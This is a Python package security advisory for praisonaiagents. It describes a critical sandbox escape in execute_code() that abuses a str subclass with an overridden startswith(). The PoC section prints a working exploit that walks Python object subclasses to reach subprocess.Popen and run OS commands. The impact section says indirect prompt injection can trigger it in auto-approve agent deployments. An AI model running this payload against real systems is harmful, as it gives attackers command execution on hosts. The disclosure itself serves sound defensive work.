PYSEC-2026-484

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Import Source
https://github.com/pypa/advisory-database/blob/main/vulns/praisonaiagents/PYSEC-2026-484.yaml
JSON Data
https://api.osv.dev/v1/vulns/PYSEC-2026-484
Aliases
Published
2026-06-29T11:50:48.390200Z
Modified
2026-07-01T20:23:01.886289Z
Severity
  • 10.0 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H CVSS Calculator
Summary
PraisonAI: Python Sandbox Escape via str Subclass startswith() Override in execute_code
Details

Summary

execute_code() in praisonai-agents runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a str subclass with an overridden startswith() method to the _safe_getattr wrapper, achieving arbitrary OS command execution on the host.

Details

python_tools.py:20 (source) -> python_tools.py:22 (guard bypass) -> python_tools.py:161 (sink) ```python

source -- safegetattr accepts any str subclass

def safegetattr(obj, name, *default): if isinstance(name, str) and name.startswith('_'): # isinstance passes for subclasses raise AttributeError(...)

hop -- type() is whitelisted in safe_builtins, creates str subclass without class keyword

FakeStr = type('FakeStr', (str,), {'startswith': lambda self, *a: False})

sink -- Popen reached via subclasses walk

r = Popen(['id'], stdout=PIPE, stderr=PIPE)


### PoC
```python

 from praisonaiagents.tools.python_tools import execute_code

payload = """
 t = type
FakeStr = t('FakeStr', (str,), {'startswith': lambda self, *a: False})

mro_attr  = FakeStr(''.join(['_','_','m','r','o','_','_']))
subs_attr = FakeStr(''.join(['_','_','s','u','b','c','l','a','s','s','e','s','_','_']))
mod_attr  = FakeStr(''.join(['_','_','m','o','d','u','l','e','_','_']))
name_attr = FakeStr(''.join(['_','_','n','a','m','e','_','_']))
PIPE = -1

obj_class = getattr(type(()), mro_attr)[1]
for cls in getattr(obj_class, subs_attr)():
    try:
        m = getattr(cls, mod_attr, '')
        n = getattr(cls, name_attr, '')
        if m == 'subprocess' and n == 'Popen':
            r = cls(['id'], stdout=PIPE, stderr=PIPE)
            out, err = r.communicate()
            print('RCE:', out.decode())
            break
    except Exception as e:
        print('ERR:', e)
"""

result = execute_code(code=payload)
print(result)
# expected output: RCE: uid=1000(narey) gid=1000(narey) groups=1000(narey)...

Impact

Any user or agent pipeline running execute_code() is exposed to full OS command execution as the process user. Deployments using bot.py, autonomy_mode.py, or bots_cli.py set PRAISONAI_AUTO_APPROVE=true by default, meaning no human confirmation is required and the tool fires silently when triggered via indirect prompt injection.

References

Affected packages

PyPI / praisonaiagents

Package

Name
praisonaiagents
View open source insights on deps.dev
Purl
pkg:pypi/praisonaiagents

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
1.5.90

Affected versions

0.*
0.0.1
0.0.2
0.0.3
0.0.4
0.0.5
0.0.6
0.0.7
0.0.8
0.0.9
0.0.10
0.0.11
0.0.12
0.0.13
0.0.14
0.0.15
0.0.16
0.0.17
0.0.18
0.0.19
0.0.20
0.0.21
0.0.22
0.0.23
0.0.24
0.0.25
0.0.26
0.0.27
0.0.28
0.0.29
0.0.30
0.0.31
0.0.32
0.0.33
0.0.34
0.0.35
0.0.36
0.0.37
0.0.38
0.0.39
0.0.40
0.0.41
0.0.42
0.0.43
0.0.44
0.0.45
0.0.46
0.0.47
0.0.48
0.0.49
0.0.50
0.0.51
0.0.52
0.0.53
0.0.54
0.0.56
0.0.57
0.0.58
0.0.59
0.0.60
0.0.61
0.0.62
0.0.63
0.0.64
0.0.65
0.0.66
0.0.67
0.0.68
0.0.69
0.0.70
0.0.71
0.0.72
0.0.73
0.0.74
0.0.75
0.0.76
0.0.77
0.0.78
0.0.79
0.0.80
0.0.81
0.0.82
0.0.83
0.0.84
0.0.85
0.0.86
0.0.87
0.0.88
0.0.89
0.0.90
0.0.91
0.0.92
0.0.93
0.0.94
0.0.95
0.0.96
0.0.97
0.0.98
0.0.99
0.0.100
0.0.101
0.0.102
0.0.103
0.0.104
0.0.105
0.0.106
0.0.107
0.0.108
0.0.109
0.0.110
0.0.111
0.0.112
0.0.113
0.0.114
0.0.115
0.0.116
0.0.117
0.0.118
0.0.119
0.0.120
0.0.121
0.0.122
0.0.123
0.0.124
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0.0.126
0.0.127
0.0.128
0.0.129
0.0.130
0.0.131
0.0.132
0.0.133
0.0.134
0.0.135
0.0.136
0.0.137
0.0.138
0.0.139
0.0.140
0.0.141
0.0.142
0.0.143
0.0.144
0.0.145
0.0.146
0.0.147
0.0.148
0.0.149
0.0.150
0.0.151
0.0.152
0.0.153
0.0.154
0.0.155
0.0.156
0.0.157
0.0.158
0.0.159
0.0.160
0.0.161
0.0.162
0.0.163
0.0.164
0.0.165
0.0.166
0.0.167
0.0.168
0.0.169
0.0.170
0.0.171
0.0.172
0.0.173
0.0.174
0.0.175
0.0.176
0.0.177
0.0.178
0.0.179
0.0.180
0.0.181
0.0.182
0.0.183
0.0.184
0.0.185
0.0.187
0.0.188
0.0.189
0.0.190
0.0.191
0.0.192
0.0.193
0.0.194
0.0.195
0.0.196
0.0.197
0.0.198
0.0.199
0.1.0
0.1.1
0.1.2
0.1.3
0.1.4
0.1.5
0.1.6
0.1.7
0.1.8
0.1.9
0.1.10
0.1.11
0.1.12
0.1.13
0.1.14
0.1.15
0.1.16
0.1.17
0.1.18
0.1.19
0.1.20
0.1.21
0.1.22
0.1.23
0.1.24
0.1.25
0.1.26
0.1.27
0.2.0
0.2.1
0.2.2
0.3.0
0.3.1
0.3.2
0.3.3
0.3.4
0.4.0
0.4.1
0.5.0
0.5.1
0.5.2
0.5.3
0.6.0
0.6.1
0.6.2
0.6.3
0.6.4
0.6.5
0.6.6
0.6.7
0.6.8
0.7.0
0.7.1
0.8.0
0.8.1
0.9.0
0.9.1
0.10.0
0.10.1
0.10.2
0.10.3
0.10.4
0.10.5
0.10.6
0.10.7
0.10.8
0.10.9
0.10.10
0.11.0
0.11.1
0.11.2
0.11.3
0.11.4
0.11.5
0.11.6
0.11.7
0.11.8
0.11.9
0.11.10
0.11.11
0.11.12
0.11.13
0.11.14
0.11.15
0.11.16
0.11.17
0.11.18
0.11.19
0.11.20
0.11.21
0.11.22
0.11.23
0.11.24
0.11.25
0.11.27
0.11.28
0.11.29
0.11.30
0.11.31
0.12.0
0.12.1
0.12.2
0.12.3
0.12.4
0.12.5
0.12.6
0.12.7
0.12.8
0.12.9
0.12.10
0.12.11
0.12.12
0.12.13
0.12.14
0.12.15
0.12.16
0.12.17
0.12.18
0.12.19
0.12.20
0.12.21
0.13.0
0.13.1
0.13.2
0.13.3
0.13.4
0.13.5
0.13.6
0.13.7
0.13.8
0.13.9
0.13.10
0.13.11
0.13.12
0.13.13
0.13.14
0.13.15
0.13.16
0.13.17
0.13.18
0.13.19
0.13.20
0.13.21
0.13.22
0.13.23
0.14.0
0.14.1
0.14.2
0.14.3
0.14.4
0.14.5
0.14.6
0.14.7
0.14.8
0.14.9
0.14.10
0.14.11
0.14.12
0.14.14
0.14.15
0.14.16
0.15.0
0.15.1
0.15.2
0.15.3
1.*
1.0.0
1.1.0
1.2.0
1.2.1
1.2.2
1.2.3
1.2.4
1.3.0
1.3.1
1.4.0
1.4.1
1.4.2
1.4.3
1.4.4
1.4.5
1.4.6
1.4.7
1.4.8
1.5.0
1.5.1
1.5.2
1.5.3
1.5.5
1.5.6
1.5.7
1.5.8
1.5.9
1.5.10
1.5.11
1.5.12
1.5.13
1.5.14
1.5.15
1.5.16
1.5.17
1.5.18
1.5.19
1.5.20
1.5.21
1.5.22
1.5.23
1.5.24
1.5.25
1.5.26
1.5.27
1.5.28
1.5.29
1.5.30
1.5.31
1.5.32
1.5.33
1.5.34
1.5.35
1.5.36
1.5.37
1.5.38
1.5.39
1.5.40
1.5.41
1.5.42
1.5.43
1.5.44
1.5.45
1.5.46
1.5.47
1.5.48
1.5.49
1.5.50
1.5.51
1.5.52
1.5.53
1.5.54
1.5.55
1.5.56
1.5.57
1.5.58
1.5.59
1.5.60
1.5.61
1.5.62
1.5.63
1.5.64
1.5.65
1.5.66
1.5.67
1.5.68
1.5.69
1.5.70
1.5.71
1.5.72
1.5.73
1.5.74
1.5.75
1.5.76
1.5.77
1.5.78
1.5.79
1.5.80
1.5.81
1.5.82
1.5.83
1.5.84
1.5.85
1.5.86
1.5.87
1.5.88
1.5.89

Database specific

source 
"https://github.com/pypa/advisory-database/blob/main/vulns/praisonaiagents/PYSEC-2026-484.yaml"
last_known_affected_version_range 
"<= 1.5.89"